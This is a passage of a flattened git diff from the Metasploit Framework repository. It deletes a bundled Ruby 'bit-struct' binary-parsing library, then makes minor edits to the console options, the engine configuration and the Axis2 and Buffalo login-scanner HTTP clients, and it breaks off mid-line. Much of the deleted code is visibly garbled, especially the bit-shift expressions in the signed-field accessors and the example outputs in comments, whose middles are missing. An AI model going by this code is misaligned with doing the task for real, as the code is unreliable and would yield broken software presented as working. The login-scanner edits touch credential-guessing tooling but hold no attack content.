[]=(*args) - if args.size == 2 and (i=args[0]).kind_of?(Fixnum) - super(i, args[1].chr) - else - super - end - end - end - - class << self - # The unique "prototype" object from which new instances are copied. - # The fields of this instance can be modified in the class definition - # to set default values for the fields in that class. (Otherwise, defaults - # defined by the fields themselves are used.) A copy of this object is - # inherited in subclasses, which they may override using defaults and - # by writing to the initial_value object itself. - # - # If called with a block, yield the initial value object before returning - # it. Useful for customization within a class definition. - # - def initial_value # :yields: the initial value - unless @initial_value - iv = defined?(superclass.initial_value) ? - superclass.initial_value.dup : "" - if iv.length < round_byte_length - iv << "\0" * (round_byte_length - iv.length) - end - - @initial_value = "" # Serves as initval while the real initval is inited - @initial_value = new(iv) - @closed = false # only creating the first _real_ instance closes. - - fields.each do |field| - @initial_value.send("#{field.name}=", field.default) if field.default - end - end - yield @initial_value if block_given? - @initial_value - end - - # Take +data+ (a string or BitStruct) and parse it into instances of - # the +classes+, returning them in an array. The classes can be given - # as an array or a separate arguments. (For parsing a string into a _single_ - # BitStruct instance, just use the #new method with the string as an arg.) - def parse(data, *classes) - classes.flatten.map do |c| - c.new(data.slice!(0...c.round_byte_length)) - end - end - - # Join the given structs (array or multiple args) as a string. - # Actually, the inherited String#+ instance method is the same, as is using - # Array#join. - def join(*structs) - structs.flatten.map {|struct| struct.to_s}.join("") - end - end - - # ------------------------ - # :section: inspection methods - # - # ------------------------ - - DEFAULT_INSPECT_OPTS = { - :format => "#<%s %s>", - :field_format => "%s=%s", - :separator => ", ", - :field_name_meth => :name, - :include_rest => true, - :brackets => ["[", "]"], - :include_class => true, - :simple_format => "<%s>" - } - - DETAILED_INSPECT_OPTS = { - :format => "%s:\n%s", - :field_format => "%30s = %s", - :separator => "\n", - :field_name_meth => :display_name, - :include_rest => true, - :brackets => [nil, "\n"], - :include_class => true, - :simple_format => "\n%s" - } - - # A standard inspect method which does not add newlines. - def inspect(opts = DEFAULT_INSPECT_OPTS) - field_format = opts[:field_format] - field_name_meth = opts[:field_name_meth] - - fields_for_inspect = fields.select {|field| field.inspectable?} - if opts[:include_rest] and (rest_field = self.class.rest_field) - fields_for_inspect << rest_field - end - - ary = fields_for_inspect.map do |field| - field_format % - [field.send(field_name_meth), - field.inspect_in_object(self, opts)] - end - - body = ary.join(opts[:separator]) - - if opts[:include_class] - opts[:format] % [self.class, body] - else - opts[:simple_format] % body - end - end - - # A more visually appealing inspect method that puts each field/value on - # a separate line. Very useful when output is scrolling by on a screen. - # - # (This is actually a convenience method to call #inspect with the - # DETAILED_INSPECT_OPTS opts.) - def inspect_detailed - inspect(DETAILED_INSPECT_OPTS) - end - - # ------------------------ - # :section: field declaration methods - # - # ------------------------ - - # Define accessors for a variable length substring from the end of - # the defined fields to the end of the BitStruct. The _rest_ may behave as - # a String or as some other String or BitStruct subclass. - # - # This does not add a field, which is useful because a superclass can have - # a rest method which accesses subclass data. In particular, #rest does - # not affect the #round_byte_length class method. Of course, any data - # in rest does add to the #length of the BitStruct, calculated as a string. - # Also, _rest_ is not inherited. - # - # The +ary+ argument(s) work as follows: - # - # If a class is provided, use it for the Field class (String by default). - # If a string is provided, use it for the display_name (+name+ by default). - # If a hash is provided, use it for options. - # - # *Warning*: the rest reader method returns a copy of the field, so - # accessors on that returned value do not affect the original rest field. - # - def self.rest(name, *ary) - if @rest_field - raise ArgumentError, "Duplicate rest field: #{name.inspect}." - end - - opts = parse_options(ary, name, String) - offset = round_byte_length - byte_range = offset..-1 - class_eval do - field_class = opts[:field_class] - define_method name do || - field_class.new(self[byte_range]) - end - - define_method "#{name}=" do |val| - self[byte_range] = val - end - - @rest_field = Field.new(offset, -1, name, { - :display_name => opts[:display_name], - :rest_class => field_class - }) - end - end - - # Not included with the other fields, but accessible separately. - def self.rest_field; @rest_field; end -end diff --git a/lib/bit-struct/char-field.rb b/lib/bit-struct/char-field.rb deleted file mode 100644 index 0ceb5a35ed..0000000000 --- a/lib/bit-struct/char-field.rb +++ /dev/null @@ -1,49 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for fixed length binary strings of characters. - # Declared with BitStruct.char. - class CharField < Field - #def self.default - # don't define this, since it must specify N nulls and we don't know N - #end - - # Used in describe. - def self.class_name - @class_name ||= "char" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - unless length % 8 == 0 - raise ArgumentError, - "Bad length, #{length}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - val_byte_range = 0..length_byte-1 - - cl.class_eval do - define_method attr do || - self[byte_range].to_s - end - - define_method "#{attr}=" do |val| - val = val.to_s - if val.length < length_byte - val += "\0" * (length_byte - val.length) - end - self[byte_range] = val[val_byte_range] - end - end - end - end -end diff --git a/lib/bit-struct/fields.rb b/lib/bit-struct/fields.rb deleted file mode 100644 index 4d581df1a5..0000000000 --- a/lib/bit-struct/fields.rb +++ /dev/null @@ -1,301 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - class << self - # Define a char string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls _are_ - # considered part of the string. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # Note that the accessors have COPY semantics, not reference. - # - def char(name, length, *rest) - opts = parse_options(rest, name, CharField) - add_field(name, length, opts) - end - alias string char - BitStruct.autoload :CharField, "bit-struct/char-field" - - # Define a floating point field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def float name, length, *rest - opts = parse_options(rest, name, FloatField) - add_field(name, length, opts) - end - BitStruct.autoload :FloatField, "bit-struct/float-field" - - # Define an octet string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # not considered part of the string. The field is accessed using - # period-separated hex digits. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def hex_octets(name, length, *rest) - opts = parse_options(rest, name, HexOctetField) - add_field(name, length, opts) - end - BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field" - - # Define a nested field in the current subclass of BitStruct, - # with the given _name_ and _nested_class_. Length is determined from - # _nested_class_. - # - # If a class is provided, use it for the Field class (i.e. <=NestedField). - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # For example: - # - # class Sub < BitStruct - # unsigned :x, 8 - # end - # - # class A < BitStruct - # nest :n, Sub - # end - # - # a = A.new - # - # p a # ==> #> - # - # If a block is given, use it to define the nested fields. For example, the - # following is equivalent to the above example: - # - # class A < BitStruct - # nest :n do - # unsigned :x, 8 - # end - # end - # - # WARNING: the accessors have COPY semantics, not reference. When you call a - # reader method to get the nested structure, you get a *copy* of that data. - # Expressed in terms of the examples above: - # - # # This fails to set x in a. - # a.n.x = 3 - # p a # ==> #> - # - # # This works - # n = a.n - # n.x = 3 - # a.n = n - # p a # ==> #> - # - def nest(name, *rest, &block) - nested_class = rest.grep(Class).find {|cl| cl <= BitStruct} - rest.delete nested_class - opts = parse_options(rest, name, NestedField) - nested_class = opts[:nested_class] ||= nested_class - - unless (block and not nested_class) or (nested_class and not block) - raise ArgumentError, - "nested field must have either a nested_class option or a block," + - " but not both" - end - - unless nested_class - nested_class = Class.new(BitStruct) - nested_class.class_eval(&block) - end - - opts[:default] ||= nested_class.initial_value.dup - opts[:nested_class] = nested_class - field = add_field(name, nested_class.bit_length, opts) - field - end - alias struct nest - BitStruct.autoload :NestedField, "bit-struct/nested-field" - - # Define an octet string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # not considered part of the string. The field is accessed using - # period-separated decimal digits. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def octets(name, length, *rest) - opts = parse_options(rest, name, OctetField) - add_field(name, length, opts) - end - BitStruct.autoload :OctetField, "bit-struct/octet-field" - - # Define a padding field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def pad(name, length, *rest) - opts = parse_options(rest, name, PadField) - add_field(name, length, opts) - end - alias padding pad - BitStruct.autoload :PadField, "bit-struct/pad-field" - - # Define a signed integer field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # SignedField adds the :fixed => divisor option, which specifies - # that the internally stored value is interpreted as a fixed point real - # number with the specified +divisor+. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def signed name, length, *rest - opts = parse_options(rest, name, SignedField) - add_field(name, length, opts) - end - BitStruct.autoload :SignedField, "bit-struct/signed-field" - - # Define a printable text string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # _not_ considered part of the string. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # Note that the accessors have COPY semantics, not reference. - # - def text(name, length, *rest) - opts = parse_options(rest, name, TextField) - add_field(name, length, opts) - end - BitStruct.autoload :TextField, "bit-struct/text-field" - - # Define a unsigned integer field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # UnsignedField adds the :fixed => divisor option, which specifies - # that the internally stored value is interpreted as a fixed point real - # number with the specified +divisor+. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def unsigned name, length, *rest - opts = parse_options(rest, name, UnsignedField) - add_field(name, length, opts) - end - BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field" - - # Define a vector field in the current subclass of BitStruct, - # with the given _name_. - # - # If a class is provided, use it for the Vector class, otherwise - # the block must define the entry fields. The two forms looks like - # this: - # - # class Vec < BitStruct::Vector - # # these declarations apply to *each* entry in the vector: - # unsigned :x, 16 - # signed :y, 32 - # end - # - # class Packet < BitStruct - # # Using the Vec class defined above - # vector :v, Vec, "a vector", :length => 5 - # - # # equivalently, using an anonymous subclass of BitStruct::Vector - # vector :v2, "a vector", :length => 5 do - # unsigned :x, 16 - # signed :y, 32 - # end - # end - # - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # If a number is provided, use it for length (equivalent to using the - # :length option). - # - # WARNING: the accessors have COPY semantics, not reference. When you call a - # reader method to get the vector structure, you get a *copy* of that data. - # - # For example, to modify the numeric fields in a Packet as defined above: - # - # pkt = Packet.new - # vec = pkt.v - # entry = vec[2] - # entry.x = 123 - # entry.y = -456 - # vec[2] = entry - # pkt.v = vec - # - def vector(name, *rest, &block) - opts = parse_options(rest, name, nil) - cl = opts[:field_class] - opts[:field_class] = VectorField - - unless (block and not cl) or (cl and not block) - raise ArgumentError, - "vector must have either a class or a block, but not both" - end - - case - when cl == nil - vector_class = Class.new(BitStruct::Vector) - vector_class.class_eval(&block) - - when cl < BitStruct - vector_class = Class.new(BitStruct::Vector) - vector_class.struct_class cl - - when cl < BitStruct::Vector - vector_class = cl - - else raise ArgumentError, "Bad vector class: #{cl.inspect}" - end - - vector_class.default_options default_options - - length = opts[:length] || rest.grep(Integer).first - ## what about :length => :lenfield - unless length - raise ArgumentError, - "Must provide length as argument N or as option :length => N" - end - - opts[:default] ||= vector_class.new(length) ## nil if variable length - opts[:vector_class] = vector_class - - bit_length = vector_class.struct_class.round_byte_length * 8 * length - - field = add_field(name, bit_length, opts) - field - end - BitStruct.autoload :VectorField, "bit-struct/vector-field" - end - - autoload :Vector, "bit-struct/vector" -end diff --git a/lib/bit-struct/float-field.rb b/lib/bit-struct/float-field.rb deleted file mode 100644 index d7e2e5b092..0000000000 --- a/lib/bit-struct/float-field.rb +++ /dev/null @@ -1,62 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for floats (single and double precision) in network order. - # Declared with BitStruct.float. - class FloatField < Field - # Used in describe. - def self.class_name - @class_name ||= "float" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - unless length == 32 or length == 64 - raise ArgumentError, - "Bad length, #{length}, for #{self.class} #{name}." + - " Must be 32 or 64." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - - endian = (options[:endian] || options["endian"]).to_s - case endian - when "native" - ctl = case length - when 32; "f" - when 64; "d" - end - when "little" - ctl = case length - when 32; "e" - when 64; "E" - end - when "network", "big", "" - ctl = case length - when 32; "g" - when 64; "G" - end - else - raise ArgumentError, - "Unrecognized endian option: #{endian.inspect}" - end - - cl.class_eval do - define_method attr do || - self[byte_range].unpack(ctl).first - end - - define_method "#{attr}=" do |val| - self[byte_range] = [val].pack(ctl) - end - end - end - end -end diff --git a/lib/bit-struct/hex-octet-field.rb b/lib/bit-struct/hex-octet-field.rb deleted file mode 100644 index 70c27c218e..0000000000 --- a/lib/bit-struct/hex-octet-field.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/char-field' - -class BitStruct - # Class for char fields that can be accessed with values like - # "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a - # single octet. The original string-based accessors are still available with - # the _chars suffix. - # - # Declared with BitStruct.hex_octets. - class HexOctetField < BitStruct::OctetField - # Used in describe. - def self.class_name - @class_name ||= "hex_octets" - end - - SEPARATOR = ":" - FORMAT = "%02x" - BASE = 16 - end -end diff --git a/lib/bit-struct/nested-field.rb b/lib/bit-struct/nested-field.rb deleted file mode 100644 index 4182d1f7df..0000000000 --- a/lib/bit-struct/nested-field.rb +++ /dev/null @@ -1,77 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/bit-struct' - -class BitStruct - # Class for nesting a BitStruct as a field within another BitStruct. - # Declared with BitStruct.nest. - class NestedField < Field - def initialize(*args) - super - end - - # Used in describe. - def self.class_name - @class_name ||= "nest" - end - - def class_name - @class_name ||= nested_class.name[/\w+$/] - end - - def nested_class - @nested_class ||= options[:nested_class] || options["nested_class"] - end - - def describe opts - if opts[:expand] - opts = opts.dup - opts[:byte_offset] = offset / 8 - opts[:omit_header] = opts[:omit_footer] = true - nested_class.describe(nil, opts) {|desc| yield desc} - else - super - end - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for nested field #{name}." + - " Must be multiple of 8." - end - - unless length % 8 == 0 - raise ArgumentError, - "Bad length, #{length}, for nested field #{name}." + - " Must be multiple of 8." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - - nc = nested_class - - cl.class_eval do - define_method attr do || - nc.new(self[byte_range]) - end - - define_method "#{attr}=" do |val| - if val.length != length_byte - raise ArgumentError, "Size mismatch in nested struct assignment " + - "to #{attr} with value #{val.inspect}" - end - - if val.class != nc - warn "Type mismatch in nested struct assignment " + - "to #{attr} with value #{val.inspect}" - end - - self[byte_range] = val - end - end - end - end -end diff --git a/lib/bit-struct/octet-field.rb b/lib/bit-struct/octet-field.rb deleted file mode 100644 index 1281a136a5..0000000000 --- a/lib/bit-struct/octet-field.rb +++ /dev/null @@ -1,46 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/char-field' - -class BitStruct - # Class for char fields that can be accessed with values like - # "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a - # single octet. The original string-based accessors are still available with - # the _chars suffix. - # - # Declared with BitStruct.octets. - class OctetField < BitStruct::CharField - # Used in describe. - def self.class_name - @class_name ||= "octets" - end - - SEPARATOR = "." - FORMAT = "%d" - BASE = 10 - - def add_accessors_to(cl, attr = name) # :nodoc: - attr_chars = "#{attr}_chars" - super(cl, attr_chars) - sep = self.class::SEPARATOR - base = self.class::BASE - fmt = self.class::FORMAT - - cl.class_eval do - define_method attr do || - ary = [] - send(attr_chars).each_byte do |c| - ary << fmt % c - end - ary.join(sep) - end - - old_writer = "#{attr_chars}=" - - define_method "#{attr}=" do |val| - data = val.split(sep).map{|s|s.to_i(base)}.pack("C*") - send(old_writer, data) - end - end - end - end -end diff --git a/lib/bit-struct/pad-field.rb b/lib/bit-struct/pad-field.rb deleted file mode 100644 index f01476b23d..0000000000 --- a/lib/bit-struct/pad-field.rb +++ /dev/null @@ -1,16 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for fixed length padding. - class PadField < Field - # Used in describe. - def self.class_name - @class_name ||= "padding" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - # No accessors for padding. - end - - def inspectable?; false; end - end -end diff --git a/lib/bit-struct/signed-field.rb b/lib/bit-struct/signed-field.rb deleted file mode 100644 index 0ab7cd9c19..0000000000 --- a/lib/bit-struct/signed-field.rb +++ /dev/null @@ -1,259 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for signed integers in network order, 1-16 bits, or 8n bits. - # Declared with BitStruct.signed. - class SignedField < Field - # Used in describe. - def self.class_name - @class_name ||= "signed" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - offset_byte = offset / 8 - offset_bit = offset % 8 - - length_bit = offset_bit + length - length_byte = (length_bit/8.0).ceil - last_byte = offset_byte + length_byte - 1 - max = 2**length-1 - mid = 2**(length-1) - max_unsigned = 2**length - to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n} -# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n} - - divisor = options[:fixed] || options["fixed"] - divisor_f = divisor && divisor.to_f -# if divisor and not divisor.is_a? Fixnum -# raise ArgumentError, "fixed-point divisor must be a fixnum" -# end - - endian = (options[:endian] || options["endian"]).to_s - case endian - when "native" - ctl = length_byte <= 2 ? "s" : "l" - if length == 16 or length == 32 - to_signed = proc {|n| n} - # with pack support, to_signed can be replaced with no-op - end - when "little" - ctl = length_byte <= 2 ? "v" : "V" - when "network", "big", "" - ctl = length_byte <= 2 ? "n" : "N" - else - raise ArgumentError, - "Unrecognized endian option: #{endian.inspect}" - end - - data_is_big_endian = - ([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N")) - - if length_byte == 1 - rest = 8 - length_bit - mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord - mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord - - cl.class_eval do - if divisor - define_method attr do || - to_signed[(self[offset_byte] & mask) >> rest] / divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - self[offset_byte] = - (self[offset_byte] & mask2) | ((val<> rest] - end - - define_method "#{attr}=" do |val| - self[offset_byte] = - (self[offset_byte] & mask2) | ((val< 0 - bytes.push val % 256 - val = val >> 8 - end - if bytes.length < length_byte - bytes.concat [0] * (length_byte - bytes.length) - end - - bytes.reverse! if data_is_big_endian - bytes.pack("C*") - end - - if divisor - define_method attr do || - to_signed[reader_helper[self[byte_range]] / divisor_f] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[(val * divisor).round] - end - - else - define_method attr do || - to_signed[reader_helper[self[byte_range]]] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[val] - end - end - end - end - - elsif length_byte == 2 # unaligned field that fits within two whole bytes - byte_range = offset_byte..last_byte - rest = 16 - length_bit - - mask = ["0"*offset_bit + "1"*length + "0"*rest] - mask = mask.pack("B16").unpack(ctl).first - - mask2 = ["1"*offset_bit + "0"*length + "1"*rest] - mask2 = mask2.pack("B16").unpack(ctl).first - - cl.class_eval do - if divisor - define_method attr do || - to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest] - end - - define_method "#{attr}=" do |val| - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest)] / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest] - end - - define_method "#{attr}=" do |val| - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest) / divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - self[offset_byte] = - (self[offset_byte] & mask2) | ((val<> rest - end - - define_method "#{attr}=" do |val| - self[offset_byte] = - (self[offset_byte] & mask2) | ((val< 0 - bytes.push val % 256 - val = val >> 8 - end - if bytes.length < length_byte - bytes.concat [0] * (length_byte - bytes.length) - end - - bytes.reverse! if data_is_big_endian - bytes.pack("C*") - end - - if divisor - define_method attr do || - reader_helper[self[byte_range]] / divisor_f - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[(val * divisor).round] - end - - else - define_method attr do || - reader_helper[self[byte_range]] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[val] - end - end - end - end - - elsif length_byte == 2 # unaligned field that fits within two whole bytes - byte_range = offset_byte..last_byte - rest = 16 - length_bit - - mask = ["0"*offset_bit + "1"*length + "0"*rest] - mask = mask.pack("B16").unpack(ctl).first - - mask2 = ["1"*offset_bit + "0"*length + "1"*rest] - mask2 = mask2.pack("B16").unpack(ctl).first - - cl.class_eval do - if divisor - define_method attr do || - ((self[byte_range].unpack(ctl).first & mask) >> rest) / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest - end - - define_method "#{attr}=" do |val| - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest) / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest - end - - define_method "#{attr}=" do |val| - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<:endian => val option. - def default_options h = nil - @default_options ||= superclass.default_options.dup - if h - @default_options.merge! h - if @struct_class - @struct_class.default_options h - end - end - @default_options - end - - def describe(*args) - fmt = args[0] || BitStruct.describe_format - if block_given? - struct_class.describe(*args){|desc| yield desc} - yield ["..."]*5 - else - struct_class.describe(*args) + [fmt % (["..."]*5)] - end - end - end - - # Convenience method for instances. Returns the BitStruct class that - # describes each entry. - def struct_class - self.class.struct_class - end - - # Convenience method for instances. Returns the string length in bytes of - # each entry in the vector. - def struct_class_length - self.class.struct_class.round_byte_length - end - - # +arg+ can be an integer (number of entries) or a string - # (binary data, such as another Vector of the same size). - def initialize arg # :yields: instance - case arg - when Integer - super(struct_class.initial_value * arg) - - else - begin - super arg - rescue NameError - raise ArgumentError, "must be string or integer: #{arg.inspect}" - end - end - - yield self if block_given? - end - - # Get the +i+-th entry. Returns a *copy* of the entry. If you want to - # use this copy to modify the entry, you must modify the copy and then - # use #[]= to replace the entry with the copy. - def [](i) - sc = self.class.struct_class - entry_length = sc.round_byte_length - - unless (0...(length / entry_length)).include? i - raise ArgumentError, "index out of range: #{i}" - end - - sc.new slice(entry_length * i, entry_length) - end - - alias _old_replace_substr []= - - # Set the +i+-th entry to +val+. - def []=(i,val) - entry_length = struct_class_length - - unless (0...(length / entry_length)).include? i - raise ArgumentError, "index out of range: #{i}" - end - - unless val.length == entry_length - raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}" - end - - _old_replace_substr(entry_length * i, entry_length, val) - end - - ## TODO: [i..j] etc. - - # Iterate over entries. - def each - entry_length = struct_class_length - (length / entry_length).times do |i| - yield self[i] - end - end - - def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS) - if opts[:include_class] - opts = opts.dup - opts[:include_class] = false - s = self.class.inspect + ": " - else - s = "" - end - - s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator]) - lb, rb = opts[:brackets] - [lb, s, rb].join - end - - def inspect_detailed - inspect(BitStruct::DETAILED_INSPECT_OPTS) - end -end diff --git a/lib/bit-struct/yaml.rb b/lib/bit-struct/yaml.rb deleted file mode 100644 index 6f835b943e..0000000000 --- a/lib/bit-struct/yaml.rb +++ /dev/null @@ -1,70 +0,0 @@ -# -*- coding: binary -*- -require 'yaml' - -class BitStruct - if RUBY_VERSION == "1.8.2" - def is_complex_yaml? # :nodoc: - true - end - - YAML.add_ruby_type(/^bitstruct/) do |type, val| - subtype, subclass = YAML.read_type_class(type, Object) - subclass.new(val) - end - - def to_yaml_type # :nodoc: - "!ruby/bitstruct:#{self.class}" - end - - def to_yaml( opts = {} ) # :nodoc: - opts[:DocType] = self.class if Hash === opts - YAML.quick_emit(self.object_id, opts) do |out| - out.map(to_yaml_type) do |map| - fields.each do |field| - fn = field.name - map.add(fn, send(fn)) - end - end - end - end - - else - yaml_as "tag:path.berkeley.edu,2006:bitstruct" - - def to_yaml_properties # :nodoc: - yaml_fields = fields.select {|field| field.inspectable?} - props = yaml_fields.map {|f| f.name.to_s} - if (rest_field = self.class.rest_field) - props << rest_field.name.to_s - end - props - end - - # Return YAML representation of the BitStruct. - def to_yaml( opts = {} ) - YAML::quick_emit( object_id, opts ) do |out| - out.map( taguri, to_yaml_style ) do |map| - to_yaml_properties.each do |m| - map.add( m, send( m ) ) - end - end - end - end - - def self.yaml_new( klass, tag, val ) # :nodoc: - unless Hash === val - raise YAML::TypeError, "Invalid BitStruct: " + val.inspect - end - - bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct ) - - st = bitstruct_type.new - - val.each do |k,v| - st.send( "#{k}=", v ) - end - - st - end - end -end diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index 797d8dcdc0..cc28346152 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command:: driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths driver_options['DatabaseYAML'] = options.database.config driver_options['DeferModuleLoads'] = options.modules.defer_loads - driver_options['Defanged'] = options.console.defanged driver_options['DisableBanner'] = options.console.quiet driver_options['DisableDatabase'] = options.database.disable driver_options['LocalOutput'] = options.console.local_output diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb index f098144dc7..e968b0f75f 100644 --- a/lib/metasploit/framework/common_engine.rb +++ b/lib/metasploit/framework/common_engine.rb @@ -36,7 +36,7 @@ module Metasploit::Framework::CommonEngine config.paths.add 'data/meterpreter', glob: '**/ext_*' config.paths.add 'modules' - config.active_support.deprecation = :notify + config.active_support.deprecation = :stderr # # `initializer`s diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb index fdeddb4a96..f58dcae9e2 100644 --- a/lib/metasploit/framework/community_string_collection.rb +++ b/lib/metasploit/framework/community_string_collection.rb @@ -5,7 +5,7 @@ module Metasploit # This class is responsible for taking datastore options from the snmp_login module # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. - # This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} + # This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public} # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy # module used. However, community Strings are now considered more to be public credentials than private ones. class CommunityStringCollection diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 611776d3f0..4ab31c3aee 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -18,10 +18,10 @@ module Metasploit # Module Methods # - # Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. + # Returns first configuration pathname from configuration_pathnames or the overridding `:path`. # # @param options [Hash{Symbol=>String}] - # @option options [String] :path Path to use instead of first element of {configurations_pathnames} + # @option options [String] :path Path to use instead of first element of configurations_pathnames # @return [Pathname] if configuration pathname exists. # @return [nil] if configuration pathname does not exist. def self.configurations_pathname(options={}) diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb index 5fb73067ac..9821e53ab1 100644 --- a/lib/metasploit/framework/login_scanner/axis2.rb +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -17,7 +17,7 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password ) configure_http_client(http_client) diff --git a/lib/metasploit/framework/login_scanner/buffalo.rb b/lib/metasploit/framework/login_scanner/buffalo.rb index e690871da0..dffcc3e7f1 100644 --- a/lib/metasploit/framework/login_scanner/buffalo.rb +++ b/lib/metasploit/framework/login_scanner/buffalo.rb @@ -34,7 +34,7 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, http_username, http_password) configure_http_client(cli) cli.connect req = 